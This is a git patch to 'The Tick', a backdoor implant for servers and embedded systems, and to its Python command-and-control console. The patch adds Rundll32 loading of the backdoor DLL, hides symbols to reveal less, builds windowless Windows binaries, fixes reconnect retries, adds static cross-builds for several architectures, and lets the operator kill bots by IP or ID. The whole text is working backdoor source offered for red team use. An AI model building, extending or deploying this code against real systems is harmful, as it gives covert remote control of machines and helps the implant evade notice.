From cca5dad7e79ad4a5418b1b47c9c39abc7cf0013e Mon Sep 17 00:00:00 2001 From: Mario Vilas Date: Thu, 6 May 2021 15:32:45 +0200 Subject: [PATCH] - Finished support for rundll32, now it's fully functional - Fixed bug when infinite retries were specified and the first connection attempt failed - Fixed symbol visibility, now the binaries don't reveal so much info and are also smaller - Fixed stdout and stderr in DLL versions on Windows, now allocates a new console if needed - Now Windows binaries build as console or GUI depending on whether TICK_VERBOSE is on - Fixed build error on Android, binaries were not being built with PIE - Fixed symlinks when mounting the filesystem on Android bots - Added options to the "kill" command so you can kill bots without having to select them first --- src/Makefile | 108 +++++++++++++++++++--------------- src/command.c | 12 ++++ src/common.h | 48 ++++++++++------ src/config.c | 46 +++++++++++---- src/config.h | 1 + src/libmain.c | 46 +++++++++++++-- src/libmain.h | 2 +- src/libtick.version | 4 ++ src/main.c | 25 +++----- src/parser.c | 7 ++- tick.py | 137 +++++++++++++++++++++++++++----------------- 11 files changed, 287 insertions(+), 149 deletions(-) create mode 100644 src/libtick.version diff --git a/src/Makefile b/src/Makefile index 6071594..ba85070 100644 --- a/src/Makefile +++ b/src/Makefile @@ -57,11 +57,10 @@ SO=../bin/libtick-$(TARGET).so # it will be automatically embedded into the binary at compile time. CONFIG=tick.conf -CFLAGS=-W -Wall -Wextra -fdata-sections -ffunction-sections -Wl,--gc-sections -Os -fPIC -static +CFLAGS=-W -Wall -Wextra -fdata-sections -ffunction-sections -Wl,--gc-sections -Os -fPIC -s -fvisibility=hidden +CFLAGS_SO=-Wl,--version-script=libtick.version -CFLAGS_SO=-ldl - -CFLAGS_ANDROID=-fdiagnostics-color=always $(TICK_BIGMEM) +CFLAGS_ANDROID=-pie -fPIE -fdiagnostics-color=always $(TICK_BIGMEM) CFLAGS_LINUX=-std=gnu99 CFLAGS_WINDOWS=-Wno-unknown-pragmas -mwindows -static -lmingw32 -lwsock32 -lws2_32 -lshlwapi @@ -85,6 +84,7 @@ CFLAGS_TICK= #CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_VERBOSE=0 # Uncomment to remove features and make the binary smaller. +# Note that if you remove *all* of them the bot will be useless! :) #CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_FEATURES_CRYPTO=0 #CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_FEATURES_DNS=0 #CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_FEATURES_EXEC=0 @@ -98,7 +98,7 @@ CFLAGS_TICK= #CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_USE_ENV=0 #CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_USE_FILE=0 #CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_USE_BIN=0 -#CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_HOSTNAME="your.server.com" +#CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_HOSTNAME=\"your.server.com\" #CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_PORT=443 # Uncomment and edit for a hardcoded configuration file. @@ -134,7 +134,7 @@ CFLAGS_TICK= ifeq ($(TARGET),debug) CC=gcc ST=@true -CFLAGS=-W -Wall -Wextra -fPIC -g3 -ldl +CFLAGS=-W -Wall -Wextra -fPIC -g3 CFLAGS_TICK := $(filter-out -DTICK_VERBOSE=0,$(CFLAGS_TICK)) -DTICK_VERBOSE=1 #----------------------------------------------------------------------------# @@ -183,75 +183,93 @@ CFLAGS := $(CFLAGS) $(CFLAGS_ANDROID) $(CFLAGS_X86_64) --sysroot=$(ANDROID_BASE_ #----------------------------------------------------------------------------# -# Generic Linux on 32 bit ARM platforms. +# Generic Linux on 32 bit ARM platforms using MUSL libc. else ifeq ($(TARGET),generic-arm-linux) FLAVOR=arm-linux-musleabi -CC=$(FLAVOR)-gcc -ST=$(FLAVOR)-strip -CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_ARM) +CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc +ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip +CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_ARM) -static +CFLAGS_SO := $(CFLAGS_SO) -Wl,-Bstatic -nostdlib /opt/musl/$(FLAVOR)-cross/$(FLAVOR)/lib/libc.a /opt/musl/$(FLAVOR)-cross/lib/gcc/$(FLAVOR)/*/libgcc.a -# Generic Linux on 64 bit ARM platforms. +# Generic Linux on 64 bit ARM platforms using MUSL libc. else ifeq ($(TARGET),generic-arm64-linux) FLAVOR=aarch64-linux-musl -CC=$(FLAVOR)-gcc -ST=$(FLAVOR)-strip -CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_ARM64) +CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc +ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip +CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_ARM64) -static +CFLAGS_SO := $(CFLAGS_SO) -Wl,-Bstatic -nostdlib /opt/musl/$(FLAVOR)-cross/$(FLAVOR)/lib/libc.a /opt/musl/$(FLAVOR)-cross/lib/gcc/$(FLAVOR)/*/libgcc.a -# Generic Linux on 32 bit MIPS platforms. +# Generic Linux on 32 bit MIPS platforms using MUSL libc. else ifeq ($(TARGET),generic-mips-linux) FLAVOR=mips-linux-musl -CC=$(FLAVOR)-gcc -ST=$(FLAVOR)-strip -CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_MIPS) +CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc +ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip +CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_MIPS) -static +CFLAGS_SO := $(CFLAGS_SO) -Wl,-Bstatic -nostdlib /opt/musl/$(FLAVOR)-cross/$(FLAVOR)/lib/libc.a /opt/musl/$(FLAVOR)-cross/lib/gcc/$(FLAVOR)/*/libgcc.a -# Generic Linux on 64 bit MIPS platforms. +# Generic Linux on 64 bit MIPS platforms using MUSL libc. else ifeq ($(TARGET),generic-mips64-linux) FLAVOR=mips64-linux-musl -CC=$(FLAVOR)-gcc -ST=$(FLAVOR)-strip -CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_MIPS64) +CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc +ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip +CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_MIPS64) -static +CFLAGS_SO := $(CFLAGS_SO) -Wl,-Bstatic -nostdlib /opt/musl/$(FLAVOR)-cross/$(FLAVOR)/lib/libc.a /opt/musl/$(FLAVOR)-cross/lib/gcc/$(FLAVOR)/*/libgcc.a -# Generic Linux on 32 bit Intel platforms. +# Generic Linux on 32 bit Intel platforms using MUSL libc. else ifeq ($(TARGET),generic-x86-linux) FLAVOR=i686-linux-musl -CC=$(FLAVOR)-gcc -ST=$(FLAVOR)-strip -CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_X86) -CFLAGS := $(CFLAGS) -DTICK_PARSER_BUFFER_SIZE=0x10000 -DTICK_EXEC_BUFFER_SIZE=0x100000 -DTICK_MAX_CONFIG_FILE_SIZE=0x10000 +CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc +ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip +CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_X86) -static +CFLAGS_SO := $(CFLAGS_SO) -Wl,-Bstatic -nostdlib /opt/musl/$(FLAVOR)-cross/$(FLAVOR)/lib/libc.a /opt/musl/$(FLAVOR)-cross/lib/gcc/$(FLAVOR)/*/libgcc.a -# Generic Linux on 64 bit Intel platforms. +# Generic Linux on 64 bit Intel platforms using MUSL libc. else ifeq ($(TARGET),generic-x86_64-linux) FLAVOR=x86_64-linux-musl -CC=$(FLAVOR)-gcc -ST=$(FLAVOR)-strip -CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_X86_64) -CFLAGS := $(CFLAGS) -DTICK_PARSER_BUFFER_SIZE=0x10000 -DTICK_EXEC_BUFFER_SIZE=0x100000 -DTICK_MAX_CONFIG_FILE_SIZE=0x10000 +CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc +ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip +CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_X86_64) -static +CFLAGS_SO := $(CFLAGS_SO) -Wl,-Bstatic -nostdlib /opt/musl/$(FLAVOR)-cross/$(FLAVOR)/lib/libc.a /opt/musl/$(FLAVOR)-cross/lib/gcc/$(FLAVOR)/*/libgcc.a #----------------------------------------------------------------------------# -# Generic Windows on 32 bit Intel platforms. +# Generic Windows on 32 bit Intel platforms using MUSL libc. else ifeq ($(TARGET),generic-x86-windows) FLAVOR=i686-w64-mingw32 -CC=$(FLAVOR)-gcc -ST=$(FLAVOR)-strip +CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc +ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip BIN := $(BIN).exe SO := $(SO:.so=.dll) CFLAGS := $(CFLAGS) $(CFLAGS_WINDOWS) $(CFLAGS_X86) -CFLAGS_SO := $(filter-out -ldl,$(CFLAGS_SO)) -CFLAGS_TICK := $(filter-out -DTICK_CONFIG_USE_ARGV=0,$(CFLAGS_TICK)) -CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_USE_ARGV=1 +CFLAGS_SO := $(CFLAGS_SO) -Wl,--dll,--enable-auto-image-base -mwindows + +# On Windows, if TICK_VERBOSE is on, try to build as a console app. +ifneq ($(filter -DTICK_VERBOSE=1,$(CFLAGS_TICK)),) + CFLAGS := $(filter-out -mwindows,$(CFLAGS)) -mconsole +else + ifeq ($(filter -DTICK_VERBOSE=0,$(CFLAGS_TICK)),) + CFLAGS := $(filter-out -mwindows,$(CFLAGS)) -mconsole + endif +endif -# Generic Windows on 64 bit Intel platforms. +# Generic Windows on 64 bit Intel platforms using MUSL libc. else ifeq ($(TARGET),generic-x86_64-windows) FLAVOR=x86_64-w64-mingw32 -CC=$(FLAVOR)-gcc -ST=$(FLAVOR)-strip +CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc +ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip BIN := $(BIN).exe SO := $(SO:.so=.dll) CFLAGS := $(CFLAGS) $(CFLAGS_WINDOWS) $(CFLAGS_X86_64) -CFLAGS_SO := $(filter-out -ldl,$(CFLAGS_SO)) -CFLAGS_TICK := $(filter-out -DTICK_CONFIG_USE_ARGV=0,$(CFLAGS_TICK)) -CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_USE_ARGV=1 +CFLAGS_SO := $(CFLAGS_SO) -Wl,--dll,--enable-auto-image-base -mwindows + +# On Windows, if TICK_VERBOSE is on, try to build as a console app. +ifneq ($(filter -DTICK_VERBOSE=1,$(CFLAGS_TICK)),) + CFLAGS := $(filter-out -mwindows,$(CFLAGS)) -mconsole +else + ifeq ($(filter -DTICK_VERBOSE=0,$(CFLAGS_TICK)),) + CFLAGS := $(filter-out -mwindows,$(CFLAGS)) -mconsole + endif +endif #----------------------------------------------------------------------------# @@ -344,7 +362,7 @@ endif ifneq ($(SO),) $(SO): $(OBJ) mkdir -p -- $$(dirname $(SO)) - $(CC) $(filter-out main.o,$(OBJ)) $(filter-out -static,$(CFLAGS)) $(CFLAGS_SO) -shared -o $(SO) + $(CC) $(filter-out main.o,$(OBJ)) $(filter-out -mconsole,$(CFLAGS)) $(CFLAGS_SO) -shared -o $(SO) $(ST) $(SO) ifneq ($(filter -DTICK_CONFIG_USE_BIN=1,$(CFLAGS_TICK)),) ifneq ($(CONFIG),) diff --git a/src/command.c b/src/command.c index a9471f6..a116439 100644 --- a/src/command.c +++ b/src/command.c @@ -130,6 +130,18 @@ int run(int argc, char *argv[]) signal(SIGPIPE, SIG_IGN); #endif + // Force allocation of a console on Windows, since + // we're building the binaries as having a GUI, so + // the OS won't be allocating one automatically. +#if TICK_VERBOSE && defined(_WIN32) + if (GetConsoleWindow() == NULL) { + AttachConsole(ATTACH_PARENT_PROCESS); + if (GetConsoleWindow() == NULL) { + AllocConsole(); + } + } +#endif + // Get the configuration for the bot. Settings s; get_configuration(&s, argc, argv); diff --git a/src/common.h b/src/common.h index 9dc5af4..355c2cb 100644 --- a/src/common.h +++ b/src/common.h @@ -150,48 +150,52 @@ # define TICK_MAX_CONFIG_FILE_DEPTH 1 #endif +// Enable support for Rundll32 on Windows builds. +#ifndef TICK_FEATURES_RUNDLL +# define TICK_FEATURES_RUNDLL 1 +#endif + // Rundll32 compatible entrypoint function name. -// Setting an empty value disables this feature. #ifndef TICK_RUNDLL_ENTRY_POINT -#define TICK_RUNDLL_ENTRY_POINT EntryPoint +# define TICK_RUNDLL_ENTRY_POINT EntryPoint #endif // A little sanity check. Not too smug, I hope. #if !( defined (TICK_CONFIG_HOSTNAME) || TICK_CONFIG_USE_ARGV || TICK_CONFIG_USE_ENV || TICK_CONFIG_USE_FILE || TICK_CONFIG_USE_BIN ) -#error No host to connect to and no configuration sources. How were you planning to connect it? :) +# error No host to connect to and no configuration sources. How were you planning to connect it? :) #endif #if TICK_FEATURES_CRYPTO != TICK_CONFIG_USE_SSL -#error Not sure how this happened but we ended up with SSL both enabled and disabled at the same time :( +# error Not sure how this happened but we ended up with SSL both enabled and disabled at the same time :( #endif // More validation, this time with boring error messages. // I can't come up with a witticism for every single one, that'd be overkill. #if (! TICK_CONFIG_USE_ARGV) && defined (_WIN32) -#error Command line parsing cannot be disabled for Windows builds. +# error Command line parsing cannot be disabled for Windows builds. #endif #if TICK_CONFIG_PORT < 0 || TICK_CONFIG_PORT > 0xFFFF -#error Invalid value for TICK_CONFIG_PORT +# error Invalid value for TICK_CONFIG_PORT #endif #if TICK_CONFIG_TIME_LIMIT_START < 0 -#error Invalid value for TICK_CONFIG_TIME_LIMIT_START +# error Invalid value for TICK_CONFIG_TIME_LIMIT_START #endif #if TICK_CONFIG_TIME_LIMIT_END < 0 -#error Invalid value for TICK_CONFIG_TIME_LIMIT_END +# error Invalid value for TICK_CONFIG_TIME_LIMIT_END #endif #if TICK_CONNECT_RETRY_PAUSE < 0 -#error Invalid value for TICK_CONNECT_RETRY_PAUSE +# error Invalid value for TICK_CONNECT_RETRY_PAUSE #endif #if TICK_PARSER_BUFFER_SIZE <= 0 -#error Invalid value for TICK_PARSER_BUFFER_SIZE +# error Invalid value for TICK_PARSER_BUFFER_SIZE #endif #if TICK_EXEC_BUFFER_SIZE <= 0 -#error Invalid value for TICK_EXEC_BUFFER_SIZE +# error Invalid value for TICK_EXEC_BUFFER_SIZE #endif #if TICK_MAX_CONFIG_FILE_SIZE <= 0 -#error Invalid value for TICK_MAX_CONFIG_FILE_SIZE +# error Invalid value for TICK_MAX_CONFIG_FILE_SIZE #endif #if TICK_MAX_CONFIG_FILE_DEPTH < 0 -#error Invalid value for TICK_MAX_CONFIG_FILE_DEPTH +# error Invalid value for TICK_MAX_CONFIG_FILE_DEPTH #endif /*****************************************************************************/ @@ -226,6 +230,7 @@ #include #include #include +#include // https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-getaddrinfo#support-for-getaddrinfo-on-windows-2000-and-older-versions #include @@ -267,11 +272,20 @@ // Log function. Wraps on printf, when disabled at compile time it's effectively a no-op. #if TICK_VERBOSE -#include -//#define LOG printf -#define LOG(...) fprintf(stderr, __VA_ARGS__) +# ifdef _WIN32 +# define LOG(...) _cprintf(__VA_ARGS__) +# else +# define LOG(...) fprintf(stderr, __VA_ARGS__) +# endif +#else +# define LOG(...) +#endif + +// Text output function. Similar to LOG but outputs to stdout instead of stderr. +#ifdef _WIN32 +# define PRINT(...) _cprintf(__VA_ARGS__) #else -#define LOG(...) +# define PRINT(...) printf(__VA_ARGS__) #endif // Helper function to convert 64 bit ints to network byte order. diff --git a/src/config.c b/src/config.c index f04f343..86f9815 100644 --- a/src/config.c +++ b/src/config.c @@ -724,13 +724,39 @@ void get_configuration(Settings *s, int argc, char *argv[]) #if TICK_VERBOSE && (TICK_CONFIG_USE_ARGV || TICK_CONFIG_ENV) +int check_for_help(int argc, char *argv[]) +{ +# if TICK_CONFIG_USE_ARGV + if (argc > 1) { + int x; + for (x = 1; x < argc; x++) { + if (strcmp(argv[x], "--help") == 0) { + show_help(NULL, argv[0]); + return -1; + } + } + } +# endif +# if TICK_CONFIG_USE_ENV + char *env = getenv(QUOTE(TICK_CONFIG_ENV_NAME)); + if (env != NULL) { + env = strstr(env, "--help"); + if (env != NULL) { + show_help(NULL, argv[0]); + return -1; + } + } +# endif + return 0; +} + // Show a user friendly help message. // For a smarter message pass it the Settings structure and argv[0]. // These are optional, however. void show_help(Settings *s, char *execname) { // Start by showing the banner. - printf("\nThe Tick, a simple backdoor for servers and embedded systems.\n"); + PRINT("\nThe Tick, a simple backdoor for servers and embedded systems.\n"); // We have a different usage message depending on whether we parse command // line arguments, environment strings, a config file, or nothing at all. @@ -770,7 +796,7 @@ void show_help(Settings *s, char *execname) "\t-c, --config FILE\n" #endif ; - printf(usage, execname); + PRINT(usage, execname); #endif // We can improve the message if we know the settings. @@ -802,16 +828,16 @@ void show_help(Settings *s, char *execname) } else { strcpy(end_str, "forever"); } - printf("\nPentesting time window:\n"); + PRINT("\nPentesting time window:\n"); if (s->start_time > 0 && s->start_time > now) { - printf(" Start date: %s (not yet started)\n", start_str); + PRINT(" Start date: %s (not yet started)\n", start_str); } else { - printf(" Start date: %s\n", start_str); + PRINT(" Start date: %s\n", start_str); } if (s->end_time > 0 && s->end_time <= now) { - printf(" End date: %s (completed)\n", end_str); + PRINT(" End date: %s (completed)\n", end_str); } else { - printf(" End date: %s\n", end_str); + PRINT(" End date: %s\n", end_str); } } #endif @@ -819,7 +845,7 @@ void show_help(Settings *s, char *execname) // If we have a hardcoded configuration file, show it. #if TICK_CONFIG_USE_FILE #ifdef TICK_CONFIG_FILE_NAME - printf("\n" + PRINT("\n" "Configuration file name:\n\t" TICK_CONFIG_FILE_NAME "\n"); @@ -827,13 +853,13 @@ void show_help(Settings *s, char *execname) #endif // Finish with a nice message for unsuspecting sysadmins. ;) - printf("\n" + PRINT("\n" "This is a backdoor component used for security testing and red team exercises.\n" "If you are seeing this software installed on your system, you should probably\n" "report the incident to your local security team.\n" ); #ifndef _WIN32 - printf("\n"); + PRINT("\n"); #endif } diff --git a/src/config.h b/src/config.h index 7551504..44734b9 100644 --- a/src/config.h +++ b/src/config.h @@ -54,6 +54,7 @@ int open_self_config(); int parse_embedded_config_file(Settings *s); void get_default_configuration(Settings *s); void get_configuration(Settings *s, int argc, char *argv[]); +int check_for_help(int argc, char *argv[]); void show_help(Settings *s, char *execname); #endif /* CONFIG_H */ diff --git a/src/libmain.c b/src/libmain.c index a655256..da000e8 100644 --- a/src/libmain.c +++ b/src/libmain.c @@ -13,6 +13,7 @@ #include "libmain.h" #include "command.h" +#include "config.h" #ifdef _WIN32 @@ -52,15 +53,52 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved __att // Function stub with the signature CreateThread expects. DWORD WINAPI _stub_run(LPVOID lpParam __attribute__((unused))) { - run(0, NULL); + run(0, NULL); // note we don't check_for_help() here ExitThread(0); } // Entrypoint function for use with Rundll32. -#if TICK_RUNDLL_ENTRY_POINT -extern void CALLBACK TICK_RUNDLL_ENTRY_POINT(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) +#ifdef TICK_FEATURES_RUNDLL +# ifndef TICK_RUNDLL_ENTRY_POINT +# error Missing definition of TICK_RUNDLL_ENTRY_POINT +# endif +extern __declspec(dllexport) void CALLBACK TICK_RUNDLL_ENTRY_POINT(HWND hwnd __attribute__((unused)), HINSTANCE hinst __attribute__((unused)), LPSTR lpszCmdLine __attribute__((unused)), int nCmdShow __attribute__((unused))) { - run(0, NULL); + // The funny thing about Rundll32 is we can pass command line arguments to a DLL. + // So if we got any and this feature is enabled, let's parse them. + int done = 0; +#if TICK_CONFIG_USE_ARGV + if (lpszCmdLine != NULL) { + int argc = split_command_line(lpszCmdLine, NULL); + if (argc > 0) { + argc++; + char *argv[argc]; + memset(argv, 0, sizeof(argv)); + argv[0] = "rundll32.exe libtick.dll"; + split_command_line(lpszCmdLine, &argv[1]); +#if TICK_VERBOSE + if (check_for_help(argc, argv) == 0) { + run(argc, argv); + done = 1; + } +#else + run(argc, argv); + done = 1; +#endif + } + } +#endif + if (!done) { +#if TICK_CONFIG_USE_ENV && TICK_VERBOSE + if (check_for_help(0, NULL) == 0) { + run(0, NULL); + } +#else + run(0, NULL); +#endif + } + + // Clean exit from the process. ExitProcess(0); } #endif diff --git a/src/libmain.h b/src/libmain.h index f2c7f00..22eced0 100644 --- a/src/libmain.h +++ b/src/libmain.h @@ -20,7 +20,7 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved); #if TICK_RUNDLL_ENTRY_POINT -void CALLBACK TICK_RUNDLL_ENTRY_POINT(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow); +extern __declspec(dllexport) void CALLBACK TICK_RUNDLL_ENTRY_POINT(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) __attribute__((visibility("default"))); #endif #else diff --git a/src/libtick.version b/src/libtick.version new file mode 100644 index 0000000..3650077 --- /dev/null +++ b/src/libtick.version @@ -0,0 +1,4 @@ +{ + global: *static_constructor*; + local: *; +}; diff --git a/src/main.c b/src/main.c index 482bb8b..7938863 100644 --- a/src/main.c +++ b/src/main.c @@ -20,27 +20,15 @@ int main(int argc, char *argv[]) int main(void) #endif { - // If there is a --help switch, show the help and quit. + // Check for --help from the command line. #if TICK_VERBOSE # if TICK_CONFIG_USE_ARGV - if (argc > 1) { - int x; - for (x = 1; x < argc; x++) { - if (strcmp(argv[x], "--help") == 0) { - show_help(NULL, argv[0]); - return 0; - } - } + if (check_for_help(argc, argv) < 0) { + return 0; } -# endif -# if TICK_CONFIG_USE_ENV - char *env = getenv(QUOTE(TICK_CONFIG_ENV_NAME)); - if (env != NULL) { - env = strstr(env, "--help"); - if (env != NULL) { - show_help(NULL, argv[0]); - return 0; - } +# elif TICK_CONFIG_USE_ENV + if (check_for_help(0, NULL) < 0) { + return 0; } # endif #endif @@ -50,6 +38,7 @@ int main(void) // Daemonizing is not needed on Windows since we took care of that // already during the linking phase, by marking the executable as // having a GUI, which causes Windows to detach it from the console. + #if TICK_VERBOSE || defined (_WIN32) # if TICK_CONFIG_USE_ARGV return run(argc, argv); diff --git a/src/parser.c b/src/parser.c index 4977868..bcd9731 100644 --- a/src/parser.c +++ b/src/parser.c @@ -200,12 +200,13 @@ void parser_connect(Parser *parser) while (parser->fd < 0) { // Count the number of retries, exit if we ran out of tries. +#if TICK_CONNECT_RETRY_TIMES >= 0 if (parser->retries > 0) parser->retries--; - //LOG("Retries left: %d\n", parser->retries); - if (parser->retries == 0) { + else if (parser->retries == 0) { LOG("Error connecting, quitting after %d retries\n", TICK_CONNECT_RETRY_TIMES); break; } +#endif // Throttle the number of connection attempts. #if TICK_CONNECT_RETRY_PAUSE > 0 @@ -388,7 +389,7 @@ int parser_read_second_arg(Parser *parser, char *buffer, size_t count) { // Discard commands where the second argument is larger than the buffer size. if ((size_t) parser->header.data_len > count) { - printf("Error: second argument too long: %d > %d\n", (unsigned int) parser->header.data_len, (unsigned int) count); + LOG("Error: second argument too long: %d > %d\n", (unsigned int) parser->header.data_len, (unsigned int) count); parser_error(parser, "second argument to long"); return -1; } diff --git a/tick.py b/tick.py index 005a217..50b2e79 100755 --- a/tick.py +++ b/tick.py @@ -1373,8 +1373,8 @@ def __init__(self, pipe, mountpoint, args): # We will use this pipe to forward bot calls. self.pipe = pipe - # Mount point. - self.mountpoint = mountpoint + # Mount point (absolute). + self.mountpoint = os.path.abspath(mountpoint) # Arguments for FUSE. self.args = args @@ -1521,7 +1521,11 @@ def readdir(self, path, offset): def readlink(self, path): try: - return self.__parent.rpc("readlink", path).decode("utf8", "ignore") + pathname = self.__parent.rpc("readlink", path).decode("utf8", "ignore") + # the following is an ugly hack to "fix" absolute symlinks + if pathname and pathname[0] == '/': + pathname = self.__parent.mountpoint + pathname + return pathname except: #print_exc() return -errno.ENOENT @@ -2129,6 +2133,51 @@ def do_current(self, line): "UUID: [" + Fore.BLUE + Style.BRIGHT + "%s" + Style.RESET_ALL + "]\n" ) % (index, addr, uuid)) + def get_bot_from_args(self, line): + + # If no bot is specified, return the currently selected bot. + line = line.strip() + if not line: + return self.current + + # Parse the arguments. Raise exception on error. + bot_id, = split(line, comments=True) + + # If a UUID was passed, we can fetch it directly from the dict. + try: + bot = self.listener.bots[bot_id] + except KeyError: + + # If a number was passed, we can get it by index. + # That's why we used an OrderedDict in the listener. + try: + return list(self.listener.bots.values())[ int(bot_id) ] + except IndexError: + print(Fore.YELLOW + ("Error: no bot number %d found" % int(bot_id)) + Style.RESET_ALL) + return + except ValueError: + + # Last change: was it an IP address? + # Fetch the first bot we can find from that IP. + # There may be more than one (think a LAN behind a NAT), + # but that's the user's problem, not ours... + inet_aton(bot_id) + found = False + index = 0 + for bot in self.listener.bots.values(): + if bot.alive and bot_id == bot.from_addr[0]: + found = True + break + index = index + 1 + if not found: + print(Fore.YELLOW + ("Error: no bot connected to IP address %s" % bot_id) + Style.RESET_ALL) + return + + # Return value is the bot, or None if not found. + # If the bot is not found, an error message was already shown. + # If any exception is raised instead, caller must show an error message. + return bot + def do_use(self, line): """ \x1b[32m\x1b[1muse\x1b[0m <\x1b[34m\x1b[1mIP address\x1b[0m> @@ -2147,45 +2196,13 @@ def do_use(self, line): # Parse the arguments, on error show help. try: - bot_id, = split(line, comments=True) + bot = self.get_bot_from_args(line) + if bot is None: + return except Exception: self.onecmd("help use") return - # If a UUID was passed, we can fetch it directly from the dict. - try: - bot = self.listener.bots[bot_id] - except KeyError: - - # If a number was passed, we can get it by index. - # That's why we used an OrderedDict in the listener. - try: - bot = list(self.listener.bots.values())[ int(bot_id) ] - except IndexError: - print(Fore.YELLOW + ("Error: no bot number %d found" % int(bot_id)) + Style.RESET_ALL) - return - except ValueError: - - # Last change: was it an IP address? - # Fetch the first bot we can find from that IP. - # There may be more than one (think a LAN behind a NAT), - # but that's the user's problem, not ours... - try: - inet_aton(bot_id) - except OSError: - self.onecmd("help use") # wasn't an IP either :( - return - found = False - index = 0 - for bot in self.listener.bots.values(): - if bot.alive and bot_id == bot.from_addr[0]: - found = True - break - index = index + 1 - if not found: - print(Fore.YELLOW + ("Error: no bot connected to IP address %s" % bot_id) + Style.RESET_ALL) - return - # The bot must not be busy. if self.is_bot_busy(bot): print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL) @@ -3011,33 +3028,51 @@ def do_umount(self, line): def do_kill(self, line): """ + \x1b[32m\x1b[1mkill\x1b[0m <\x1b[34m\x1b[1mIP address\x1b[0m> + \x1b[32m\x1b[1mkill\x1b[0m <\x1b[34m\x1b[1mnumber\x1b[0m> + \x1b[32m\x1b[1mkill\x1b[0m <\x1b[34m\x1b[1mUUID\x1b[0m> \x1b[32m\x1b[1mkill\x1b[0m - Kill the currently selected bot. - This command takes no arguments.\n""" + Kills a bot. If no bot is specified, kills the currently selected bot.\n""" - # A bot must be selected. - if self.current is None: - print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL) - return + # When invoked with no arguments, kill the current bot. + line = line.strip() + if not line: + if self.current is None: + print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL) + return + bot = self.current + + else: + + # Parse the arguments, on error show help. + try: + bot = self.get_bot_from_args(line) + if bot is None: + return + except Exception: + self.onecmd("help kill") + return # The bot must not be busy. if self.is_bot_busy(): print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL) return - # Parse the arguments, on error show help. - if split(line, comments=True): - self.onecmd("help kill") + # The bot must be alive. + if not bot.alive: + print(Fore.YELLOW + "Bot is disconnected" + Style.RESET_ALL) return - # Kill the currently selected bot. + # Kill the bot. # If the bot refuses to die (they can do that, yes) # an exception will be raised at this point. - self.current.system_exit() + bot.system_exit() - # Deselect the bot, since we know it's dead now. - self.current = None + # If the specified bot was also the currently selected bot, + # deselect it now. + if bot is self.current: + self.current = None # Spawns a Python shell with some handy local variables. # This is probably only useful for debugging.